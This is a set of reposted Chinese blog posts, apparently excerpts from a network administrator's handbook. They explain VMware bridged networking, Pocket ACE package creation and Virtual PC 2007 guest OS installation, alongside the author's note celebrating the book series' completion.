以下内容摘自笔者编著,最新出版的《网管员必读——网络测试、监控和实验》一书。 6.1.5 桥接模式虚拟机网络配置 桥接网络模式是最简单的网络连接模式,设置方法也最简单,与主机的配置完成一样。具体可以下步骤进行: (1)首先需要确保在相应虚拟机“以太网”设置窗口中的相应虚拟网卡上为“桥接”模式,如图6-27所示(也可以是在“自定义”单选项下拉列表的其他桥接虚拟网络中选择,此处仅以默认的VMNet0虚拟网络为例进行介绍,其他桥接模式的虚拟网络配置方法一样)。此时是把相应虚拟机加入到VMnet0这个桥接模式的虚拟网络。也可以选择“自定义”单选项,然后在下面的下拉列表中选择已配置成桥接模式的虚拟网络。各虚拟网络的网络连接模式设置是在图6-13所示对话框中进行的。 图6-27 把虚拟机设置成桥接网络连接模式 采用这种网络连接模式后,对应虚拟机就被当成主机所在以太网上的一个独立物理机来看待,各虚拟机通过默认的VMnet0网卡与主机以太网连接,虚拟机间的虚拟网络为VMnet0,担当虚拟交换机的是VMware Workstation 6。虚拟机只需按主机网络配置方式进行配置即可。 【经验之谈】通过以上两步介绍,可能有些模糊了,特别在读到本章后面具体虚拟机网络配置时,主机、主机虚拟网卡、虚拟网络(一个虚拟网络对应一个虚拟交换机,Windows系统中最多可以创建10个,而在Linux系统中最多可以创建256个),以及在配置具体虚拟机网络时所用到的虚拟机虚拟网卡的关系到底如何。只有弄清楚这几者的关系,才能正确理解和配置虚拟机的各种不同模式的网络连接。其实它们之间的关系如图6-28所示。 从图中可以看出,主机中除了可以安装多块物理网卡外,在Windows系统中,还可以有最多10个主机虚拟网卡。这主机物理网卡和虚拟网卡不是直接与虚拟机连接的,而是直接与VMnet0~VMnet9这最多10个虚拟网络(虚拟交换机)连接的。在Windows主机系统中,一个虚拟网络可以连接的虚拟设备的数量是不受限制的,而在Linux主机系统中,一个虚拟交换网络最多可以连接32个虚拟设备。而虚拟机的虚拟网卡也不是直接与主机中的物理网卡,或者虚拟网卡连接的,也是直接连接到相应的虚拟网络的。主机和虚拟机上均可以最多配置10个虚拟网卡,不仅主机可以连接到多个虚拟网络之中,就是同一个虚拟机也可以连接到多个不同的虚拟网络之中(主机上的虚拟网卡创建方法将在本节后面的“主机虚拟适配器”选项卡进行介绍,虚拟机上的虚拟网卡创建方法将在本章后面介绍。)。 图6-28 主机、主机虚拟网卡、虚拟网络、虚拟机虚拟网卡的关系 n 对等网络中的桥接模式虚拟机配置 先以笔者目前所用的宽带路由器共享上网的对等小型局域网为例进行介绍:主机网络的IP地址段为192.168.0.0/24,采用静态IP地址分配方式分配给该虚拟机的IP地址为192.168.0.11。 (2)配置TCP/IP协议。在相应虚拟机中打开网络属性对话框,如图6-29所示。在其中可以看出,虚拟机是采用一块VMware虚拟网卡进行网络连接的。 (3)同样选择“Internet协议(TCP/IP)”选项,单击“属性”按钮,打开如图6-30所示对话框。对于对等局域网中的宽带路由器共享上网方式,只需按图中所示配置方式把IP地址和DNS服务器地址全部采用自动设置即可,因为宽带路由器上有提供DHCP服务的。 图6-29 虚拟机虚拟网卡的本地连接属性对话框“常规”选项卡 图6-30 “Internet协议(TCP/IP)属性”对话框“常规”选项卡 (4)除了TCP/IP协议配置外,还需要确认在如图6-31所示对话框中没有创建任何其他互联网连接,或者选择了“从不进行拨号连接”单选项;单击了“局域网设置”按钮后打开的如图6-32所示对话框中清除了所有选项的选择。 图6-30 “Internet选项”对话框“连接”选项卡 图6-31 “局域网(LAN)设置”对话框 n 域网络中的桥接模式虚拟机配置 如果主机所在以太网不是对等网,而是Windows域网络,则TCP/IP协议需要按图6-33或者图6-34所示对话框进行设置。 图6-33 采用动态IP地址时的TCP/IP协议配置 图6-34 采用静态IP地址时的TCP/IP协议配置 图6-33对话框的设置是当客户机IP地址采用以太网中DHCP服务器自动分配,但此时的DNS服务器就要双重设定了,“首选DNS服务器”地址为主机所在域网络的主DNS服务器地址,“备用DNS服务器”地址为宽带路由器地址,因为宽带路由器一般都带有DNS代理服务。 图6-34所示的是客户机采用静态IP地址分配时的TCP/IP协议配置对话框。此时下面的DNS服务器设置与采用DHCP自动IP地址分配方式的配置方法一样,但在这里要指定网关的IP地址,也就是宽带路由器的IP地址。至于此时的“Internet选项”中的拨号设置和局域网设置分别参见图6-31和图6-32所示对话框。 【说明】有关客户机的路由器共享上网具体网络配置方法,以及其他共享上网配置方法分别参见《网管员必读——超级网管经验谈》(第2版)。 配置成桥接网络连接模式的虚拟机就当作主机所在以太网的一部分,像主机一样可以访问以太网中的所有共享资源(如图6-35所示)和网络连接,可以直接共享主机网络的互联网接入线路访问互联网。主机与虚拟机之间,以及各虚拟机之间都可以互访。这种网络连接模式适合于对虚拟机网络用户信任的情况下。如图6-36所示的就是采用桥接网络模式的虚拟机连接到联网的页面。 图6-35 虚拟机访问主机所在以太网网上邻居 图6-36 桥接网络模式虚拟机的互联网访问页面 本文转自王达博客51CTO博客,原文链接http://blog.51cto.com/winda/75448如需转载请自行联系原作者 茶乡浪子
以下内容摘自笔者编著,最新出版的《网管员必读——网络测试、监控和实验》一书。 6.4.5 Pocket ACE实例包的创建 Pocket ACE实例包是那像像小容量的便携式USB移动存储设备安装虚拟机而提供的。Pocket ACE实例包与上节介绍的ACE实例包有相似之处,但不完全一样,它将不包括ACE主机和快照策略将被忽略。利用配置了策略的ACE实例创建的Pocket ACE包将不包括这些策略。但ACE实例的包设置将影响ACE Pocket包的创建,配置不正确,可能导致Pocket ACE包不能创建成功,这将在下面具体介绍。而且这些移动USB存储设备的存储空间至少300MB。 具体的Pocket ACE实例包创建方法如下: (1)在集成了ACE组件的VMware Workstaion程序主界面中选择对应的ACE主机程序,单击“Command”栏中的“Creat Pocket ACE package”(创建新包)链接项,打开如图6-171所示向导首页对话框。 图6-171 “Welcome to the Pocket Package Wizard”对话框 图6-172 “Name the package”对话框 (2)单击“Next”按钮,打开如图6-172所示对话框。在这里同样需要为新建的Pocket包起名,并指定存放位置。 【注意】如果在6.4.4节设置的包选项设置,特别是6-158中的序列号设置不正确,或者是在VMware Workstation 6中对应操作系统文件夹中没有正确版本的sysprep.exe文件(如图6-173所示),均可能在图6-171所示向导首页对话框中单击“Next”按钮后,将出现如图6-174所示的错误提示,Pocket包创建过程无法向下继续进行。 (3)在图6-172所示对话框中单击“Next”按钮,打开如图6-175所示对话框。在这里要选择在包要包含哪个类型的VMware Player,通常只需要选择与对应操作系统类型一致即可,这样可以节省包的容量,使便携式设备中所需的存储空间也更小。 图6-173 VMware Workstation 6中的sysprep文件 6-174 没有正确配置包设置,或者没有配置正确版本sysprep.ese文件时的错误提示 图6-175 “Select Plyer”对话框 (4)单击“Next”按钮,打开如图6-176所示对话框。在这里要配置一个包安装时的密码,用于防止包被非法使用。 (5)单击“Next”按钮,打开如图6-176所示对话框。在这里显示的是以上设置摘要。同样当发现某项设置不妥时,可以通过单击“Back”按钮返回到相应步骤重新设置。 图6-176 “Packet ACE Deployment Password”对话框 图6-177 “Package Summary”对话框 (6)单击“Next”按钮,即开始创建Pocket包,进程如图6-178所示。完成后显示如图6-179所示向导完成对话框。在其中默认选择了“Deploy to portable device now”(马上分分给便携式设备)复选项,单击“Finish”按钮后,即打开如图6-180所示对话框。在这里可以选择要分发Pocket包的便携式设备。选择后单击“Deploy”(部署)按钮后即把包分发到便携式设备上。 图6-178 “Package Creating”对话框 图6-179 “Completing the Pocket ACE Package Wizard”对话框 便携式设备的选择有两种方式,一是在选择“Choose a removable Device”单选项后,直接通过“Refresh”(刷新)按钮来查找连接在主机上的便携式设备;二是在选择“Choose custom folder”单选项后,单击“Broser”(浏览),在打开的如图6-181所示对话框中选择一个文件夹来存放Pocket包文件。 图6-180 “VMware Pocket ACE Deploy Utility”对话框 图6-181 “浏览文件夹”对话框 分发时首先会打开如图6-182所示对话框,要求在其中正确输入在创建Pocket包时所配置的密码。正确输入后,即开始在目标设备或文件夹中部署pocket包,进程如图6-183所示。随后有一个文件复制过程,最后会弹出如图6-184所示部署成功提示框。 图6-182 输入Pocket包密码对话框 图6-183 Pocket包分发进程 图6-184 Pocket包部署成功提示 【注意】Pocket包的部署过程绝不是像ACE实例包那样是简单的包文件复制过程。这可以从Pocket包部署前后的文件夹结构对比看出。图6-185所示的是pocket包部署前的文件;而如图6-186所示的是pocket包部署后的文件。对比两者可以看出,文件夹结构区别是相当大的。在图6-185所示包文件夹中,包括了一个名为deploy.exe的文件,它是用来承时部署pocket包文件的。 图6-184 pocket包部署前的文件夹 图6-185 pocket包部署后的文件夹 图6-186 VMware Workstaion主界面中的Pocket包 如果不想立即分发新创建的Pocket包,则要在图6-179所示向导完成对话框中取消默认的“Deploy to portable device now”复选项选择。单击“Finish”按钮后退出创建向导,完成新Pocket包的创建过程。事后还可以在集成了ACE组件的VMware Workstaion主界面中找到相应ACE主机程序,然后在“Package History”栏中选择相应的Pocet包(如图6-186所示),单击右键,在弹出菜单中选择“Deploy the ACE package”选项,同样可以打开如图6-180所示对话框进行Pocket包分发。 本文转自王达博客51CTO博客,原文链接http://blog.51cto.com/winda/75449如需转载请自行联系原作者 茶乡浪子
今天看到《网管员必读》系列第二版的最后一本图书——《网管员必读——网络测试、监控和实验》一书在各大书店全面上架了,由此《网管员必读》系列丛书真正成功实现了第二次大集合了。以前一直在询问什么时候出齐,想一次性买齐全套的读者现在就可以实现你们的愿望了,感谢您们的支持!! 《网管员必读》系列第二版横跨2006、2007和2008三个年头,今天终于齐齐上阵,“合家”欢聚了。内心中非常高兴,昨晚与家人一起举杯庆贺!!因为这一天来得太不容易了!!! 自从2004年9月份头两本《网管员必读》系列图书——《网管员必读——网络基础》和《网管员必读——网络应用》上市以来,至今又有近4个年头了。 4年来,《网管员必读》系列成功地上市了两个版本,并且由第一版的8本,扩展到第二版的10本;4年来,承载了笔者和电子工业出版社太多的付出和太多的期待;4年来,影响着一批又一批网管和准网管朋友,使他们迅速得到提高,成功实现职业晋级;4年来,延续着一个又一个同样的惊喜,一次又一次类似的感动。 幸运的是,我们的付出,我们的期待很快得到了广大读者的认可,“网管员必读”这五个字很快由一个全新的系列丛书名,迅速红遍全国,走进十几万读者的视线,扎根于十几万读者的心中,成为了同类丛书的姣姣者,成为了无数读者心中无可替代的金字品牌。 今天《网管员必读》系列第二版(一共10本)成功实现第二次大集合了,内心中感到由衷的激动和自豪。唉!为了这一天的到来,我不知盼了多久,付出了多少不分白天和黑夜。可以说,在笔者动手写第二版的第一本书开始,我就是在数着日子过来的,与无数读者一样,在盼着这一天的早日到来。我自己心里非常清楚,这只是我的一厢情愿。因为10本书(笔者编写了其中的9本)加起来起码在5000页以上,堆起来,半米多高,20多斤,一页页地数都可能要几个小时。同时内心中非常清楚,我得抱着对读者负责,对出版社负责,对自己负责的态度来完成这一页页的书稿,只有这样才能对得起几年来一直支持,并给予我鼓励的无数读者朋友和电子工业出版社的各位热心领导和编辑老师。 第二版只是《网管员必读》系列这个品牌前进中的一大步,不是终结,更不是笔者图书生涯的终止,后面还有许多新的系列,新的图书在等着我来编写,后面的路还很长。继续期待更广泛的读者支持与鼓励,期待能为网管和网工教育事业做出更多,更大、更好的贡献! 本文转自王达博客51CTO博客,原文链接http://blog.51cto.com/winda/75700如需转载请自行联系原作者 茶乡浪子
以下内容摘自笔者编著的《网管员必读》系列丛书第二版的压轴之作《网管员必读——网络测试、监控和实验》一书: 4.2.3 安装虚拟机操作系统 因为虚拟机操作系统的安装方法是一样的,具体的安装过程与与我们平常安装操作系统基本上是一样的,所以在此仍仅以Windows XP Proffessional操作系统为例进行介绍。 【注意】虚拟机操作系统的安装也是在Virtual PC 2007控制台中进行的,所有的重启、关机操作都是虚拟的,并不是要真正重启和关闭计算机。这一点也要特别注意。 Virtual PC 2007虚拟机操作系统的安装仅支持光盘(要能自启动的那种)和ISO镜像文件这两种安装方式。所以你只能选择其中一种,不能直接从硬盘中运行setup.exe之类的安装文件来安装。这样一来,在安装虚拟机操作系统之前,你必须做好相应的准备。要么是找到相应操作系统的镜像光盘(当然需要有光驱),要么找到相应操作系统的ISO文件。下面是具体的步骤(很简单)。 (1)在如图4-13所示Virtual PC 2007控制台中双击选择要安装的对应虚拟机文件,或者在选择了相应虚拟机文件(在此仅以Windows XP系统为例进行介绍)后单击控制台中的“启动”按钮,打开如图4-14所示虚拟机操作系统安装窗口。 (2)如果是想以光盘方式安装,则首先需要在窗口中执行【操作】→【Ctrl+Alt+Del】菜单操作,或者按下右【ALT】+【DEL】键(注意,只能是右【ALT】键),重启虚拟机系统(注意,不是重启主机),在重启时注意适时按下【DEL】键,通过键盘进入到如图4-15所示虚拟机CMOS设置窗口(不是计算机上真正的CMOS)。在这里通过键盘选择打开“Boot Device Priority”(设备启动顺序)选项,配置窗口如图4-16所示窗口,把“1st Boot Device”项设置为“CDROM”,让系统从光驱启动,然后按下【F10】键退出设备重新启动(此时要把相应虚拟机操作系统光盘放入到光驱中)。 图4-14 虚拟机系统窗口 图4-15 CMOS设置窗口“Boot”选项卡 图4-16 “Boot”选项设置窗口 如果是通过ISO文件安装的,则需要在如图4-14所示窗口中执行【编辑】→【载入ISO映像】菜单操作,在打开的对话框中找到相应虚拟机操作系统的ISO文件,然后单击“确定”按钮即可。 (3)以上两种安装方式,在进行了以上步骤后,就开始正式的虚拟机操作系统安装了。在安装过程中系统会自动列出所创建的虚拟硬盘(不是物理硬盘),选择在创建相应虚拟机文件时创建的虚拟硬盘安装即可。虚拟机操作系统的其他安装就与实际物理的操作系统安装基本一样,也可以全屏显示。只不过,这里的重新启动、关闭之类的操作都是在虚拟机窗口中进行的,主机并不会真正重启或关机。 安装了系统后将在虚拟机窗口中显示,如图4-17是Windows XP Professional虚拟窗口。如图4-18是Windows Vista的虚拟机窗口。如图4-19是同时运行Windows XP Professional和Windows Vista虚拟机的两个窗口。注意,要同时运行多台虚拟机,必须要要足够的CPU、内存资源,否则无法进行。 图4-17 Windows XP Professional虚拟机窗口 图4-18 Windows Vista虚拟机窗口 图4-19 同时运行Windows XP Professional和Windows Vista虚拟机系统的两个窗口 【说明】在这里要注意的几个常用的功能快捷键不再是原来的那样了,而是作了适当改变,以免与主机系统的相应功能快捷键相冲突。如热启动的快捷键为右【ALt】+【Del】组合键,而不是原来的【Ctrl】+【ALt】+【Del】组合键(这个组合健在主机系统没成功启动前是热启动功能,系统启动成功后是用来打开“任务管理器的);冷启动的快捷键为右【Alt】+【R】组合键,而不是直接按主机面板上的“Reset”按钮;关闭系统的快捷键为右【Alt】+【F4】组合键;全屏显示快捷捷键为右【ALt】+【Enter】组合键。 另外,虚拟机操作系统安装好后,无需另外安装设备驱动程序,直接采用Virtual PC 2007所提供的通用虚拟硬件驱动程序。大大简化了虚拟机系统的安装。 本文转自王达博客51CTO博客,原文链接http://blog.51cto.com/winda/77866如需转载请自行联系原作者 茶乡浪子